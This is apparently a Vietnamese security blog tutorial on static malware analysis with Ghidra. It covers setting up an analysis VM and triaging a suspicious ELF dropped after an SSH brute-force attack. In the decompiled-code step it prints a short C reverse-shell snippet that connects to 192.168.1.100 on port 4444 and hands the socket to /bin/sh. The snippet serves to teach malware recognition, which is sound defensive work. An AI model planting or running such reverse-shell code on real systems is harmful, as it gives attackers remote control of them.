Phân tích mã độc tĩnh với Ghidra: Hướng dẫn thực hành trên Linux

Security tutorial - IT technology blog
Security tutorial - IT technology blog

Tại sao tôi luôn bắt đầu mọi cuộc điều tra bằng phân tích tĩnh

Vài tháng trước, một cuộc tấn công brute-force SSH đã nhắm vào máy chủ của tôi lúc 2 giờ sáng. Kẻ tấn công đã kịp thả một file thực thi ELF dung lượng 15KB vào thư mục /tmp trước khi hệ thống tự động chặn kích hoạt. Sự cố đó đã thay đổi cách tiếp cận ứng phó sự cố Linux của tôi. Việc vá lỗ hổng là chưa đủ; tôi cần biết chính xác file thực thi đó được thiết kế để làm gì. Hầu hết những kẻ tấn công đều triển khai các file nhỏ đã được biên dịch—ELF cho Linux hoặc PE cho Windows—để thiết lập sự hiện diện lâu dài (persistence) hoặc đánh cắp dữ liệu.

Để xử lý các mối đe dọa này một cách an toàn, bạn cần xem xét bên trong file mà không thực sự chạy nó. Đây chính là bản chất của phân tích tĩnh (static analysis). Ghidra, bộ công cụ dịch ngược mã nguồn mở từ NSA, là công cụ tốt nhất cho công việc này. Nó cho phép bạn dịch ngược các file thực thi phức tạp thành mã giả C (C-like code) dễ đọc để bạn có thể vạch trần ý đồ của kẻ tấn công mà không lo rủi ro lây nhiễm hệ thống.

Phân tích tĩnh và Phân tích động: Nhìn kỹ trước khi bước

Khi bạn tìm thấy một file nghi vấn, có hai cách để điều tra. Việc chọn đúng phương pháp phụ thuộc vào mục tiêu và môi trường của bạn.

Phân tích tĩnh

Phân tích tĩnh là bước đầu tiên tôi ưu tiên vì nó an toàn tuyệt đối. Bạn kiểm tra mã nguồn, các header và chuỗi ký tự (strings) trong khi file vẫn ở trạng thái nghỉ. Bạn không lo rủi ro lây nhiễm trực tiếp lên hệ thống máy chủ. Bằng cách nhìn vào các lệnh assembly và các thư viện được import, bạn thường có thể phát hiện ra một reverse shell hoặc keylogger chỉ trong vài phút. Tuy nhiên, các mã độc tinh vi thường sử dụng kỹ thuật “packing” hoặc làm xáo trộn mã (obfuscation) để che giấu logic cho đến khi nó thực sự chạy.

Phân tích động

Phân tích động bao gồm việc thực thi mã độc trong một môi trường sandbox ứng dụng hoặc máy ảo (VM) được kiểm soát nghiêm ngặt. Bạn theo dõi xem nó sửa đổi file nào, xóa key registry nào và ping đến địa chỉ IP nào. Điều này tiết lộ hành vi thực sự của mã. Nhược điểm là rủi ro. Mã độc nâng cao có thể phát hiện nếu nó đang ở trong máy ảo và sẽ thay đổi hành vi để ẩn mình.

Thực tế khi sử dụng Ghidra

Ghidra là một công cụ mạnh mẽ, nhưng nó không hoàn hảo. Nếu bạn đang phân vân giữa Ghidra, IDA Pro, hoặc Radare2, đây là những điều bạn cần biết.

  • Ưu điểm:
    • Miễn phí hoàn toàn: Đây là mã nguồn mở và miễn phí. Một lợi thế lớn cho các nhà nghiên cứu độc lập và các đội ngũ bảo mật nhỏ.
    • Trình dịch ngược đỉnh cao: Ghidra bao gồm một trình dịch ngược (decompiler) chất lượng cao. Nó thực hiện xuất sắc việc chuyển đổi các lệnh assembly lộn xộn trở lại thành mã C.
    • Hỗ trợ đa kiến trúc: Nó xử lý được hầu hết mọi thứ. Dù là x86, ARM, MIPS hay PowerPC, Ghidra đều có khả năng phân tích được.
  • Nhược điểm:
    • Ngốn RAM: Vì chạy trên Java, Ghidra rất tiêu tốn tài nguyên. Nó có thể ngốn 2GB RAM chỉ để ở trạng thái chờ, và nhiều hơn thế khi phân tích các file thực thi trên 50MB.
    • Giao diện phức tạp: Giao diện trông giống như buồng lái máy bay từ cuối thập niên 90. Nó mạnh mẽ nhưng có lộ trình học tập khá dốc cho người mới bắt đầu.

Thiết lập phòng thí nghiệm phân tích trên Linux

Đừng chạy Ghidra trên máy làm việc chính của bạn. Hãy sử dụng một máy ảo phân tích chuyên dụng, chẳng hạn như Kali Linux hoặc một bản Ubuntu đã được gia cố. Điều này giữ cho môi trường chính của bạn sạch sẽ và cô lập.

1. Cài đặt Java Development Kit (JDK)

Ghidra 11.x yêu cầu JDK 17 trở lên. Trên Ubuntu, bạn có thể cài đặt bằng một lệnh duy nhất:

sudo apt update && sudo apt install openjdk-17-jdk -y

Luôn kiểm tra phiên bản bằng cách chạy java -version trước khi tiếp tục.

2. Tải xuống và Giải nén

Tải xuống bản phát hành ổn định mới nhất từ GitHub chính thức. Sau khi có file zip, hãy giải nén vào thư mục công cụ của bạn:

unzip ghidra_11.x.x_PUBLIC_2024xxxx.zip
cd ghidra_11.x.x_PUBLIC

3. Khởi chạy

Khởi chạy bộ công cụ bằng script đi kèm:

./ghidraRun

Quy trình: Mổ xẻ một file thực thi nghi vấn

Hãy cùng đi qua quy trình phân tích một file ELF không xác định được tìm thấy trên một máy chủ bị xâm nhập.

Bước 1: Import và Phân loại ban đầu

Bắt đầu bằng cách tạo một dự án mới (File > New Project) và chọn “Non-Shared Project.” Nhấn I để import file thực thi nghi vấn. Ghidra sẽ tự động phát hiện định dạng, chẳng hạn như x86-64 ELF. Sau khi nhấn OK, bạn sẽ thấy bảng tóm tắt với điểm nhập (entry point) và các thư viện liên kết. Nhấp đúp vào file để mở CodeBrowser.

Bước 2: Để trình tự động phân tích làm việc

Khi bạn mở file lần đầu, Ghidra sẽ hỏi có muốn phân tích không. Hãy chọn Yes. Bước này sẽ lập bản đồ các hàm và tham chiếu chéo (cross-references). Với một file thực thi 1MB tiêu chuẩn, quá trình này mất khoảng 10 giây. Với các file lớn, hãy đi pha cà phê; nó có thể mất vài phút.

Bước 3: Săn tìm dấu hiệu khả nghi trong chuỗi ký tự

Tôi luôn kiểm tra các chuỗi ký tự (strings) trước. Các IP được fix cứng, các URL nghi vấn, hoặc các đường dẫn như /etc/shadow là những dấu hiệu tố cáo rõ ràng. Mở Window > Defined Strings. Lọc theo các từ khóa “http”, “ssh”, hoặc “/tmp”. Nếu bạn thấy một tên miền không quen thuộc, bạn đã tìm thấy manh mối đầu tiên.

Bước 4: Tìm logic ‘Main’

Tìm kiếm main trong Symbol Tree. Nếu file thực thi bị “stripped” (xóa ký hiệu), biểu tượng main sẽ bị thiếu. Trong trường hợp đó, hãy tìm hàm entry. Nó thường gọi __libc_start_main, và một trong các đối số được truyền vào lời gọi đó chính là địa chỉ bộ nhớ của hàm main thực sự.

Bước 5: Đọc mã đã dịch ngược

Cửa sổ Decompile là nơi điều kỳ diệu xảy ra. Nó chuyển đổi mã assembly như mov eax, 0x1 thành thứ gì đó con người có thể đọc được như result = 1;. Hãy chú ý các mẫu (pattern) cụ thể sau:

  • Hoạt động mạng: Tìm các hàm socket, connect, hoặc send. Một file thực thi kết nối đến một IP bên ngoài trên cổng 4444 gần như chắc chắn là một Command and Control (C2) callback.
  • Sự hiện diện lâu dài (Persistence): Tìm kiếm fork theo sau là setsid. Đây là cách mã độc “daemon hóa” để chạy ngầm.
  • Chống gỡ lỗi (Anti-Debugging): Tìm kiếm ptrace. Mã độc thường sử dụng PTRACE_TRACEME để kiểm tra xem bạn có đang theo dõi nó không. Nếu nó phát hiện trình gỡ lỗi, nó sẽ đơn giản là thoát ra.

Đây là một ví dụ điển hình về đoạn mã reverse shell trong trình dịch ngược:

// Đoạn mã này mở một kết nối và chuyển hướng shell
sock = socket(2, 1, 0);
addr.sin_family = 2;
addr.sin_port = htons(0x115c); // Cổng 4444
addr.sin_addr.s_addr = inet_addr("192.168.1.100");
connect(sock, &addr, 0x10);
dup2(sock, 0); // Chuyển hướng STDIN
dup2(sock, 1); // Chuyển hướng STDOUT
dup2(sock, 2); // Chuyển hướng STDERR
execve("/bin/sh", NULL, NULL);

Bước 6: Dọn dẹp mớ hỗn độn

Khi bạn xác định được một biến làm nhiệm vụ gì, hãy nhấn L để đổi tên nó. Nếu bạn thấy một biến được dùng làm file descriptor cho một kết nối mạng, hãy đổi tên nó thành network_fd. Nhấn ; để thêm chú thích. Điều này biến một bức tường mã khó hiểu thành một báo cáo có tài liệu rõ ràng.

Lời kết

Phân tích tĩnh giống như việc giải một câu đố kịch tính. Bạn bắt đầu với một đống mã assembly và dần dần ghép nối câu chuyện cho đến khi ý đồ của kẻ tấn công trở nên rõ ràng.

Khả năng phân biệt giữa một script đơn giản và một Trojan truy cập từ xa (RAT) tinh vi đã giúp tôi tiết kiệm hàng giờ khôi phục hệ thống trong lần máy chủ bị xâm nhập gần nhất. Ghidra cung cấp cho bạn sự minh bạch cần thiết để đưa ra những quyết định đó. Chỉ cần nhớ: luôn làm việc trong môi trường cô lập, và không bao giờ thực thi mẫu mã độc trừ khi bạn đã sẵn sàng cho giai đoạn phân tích động.

Share: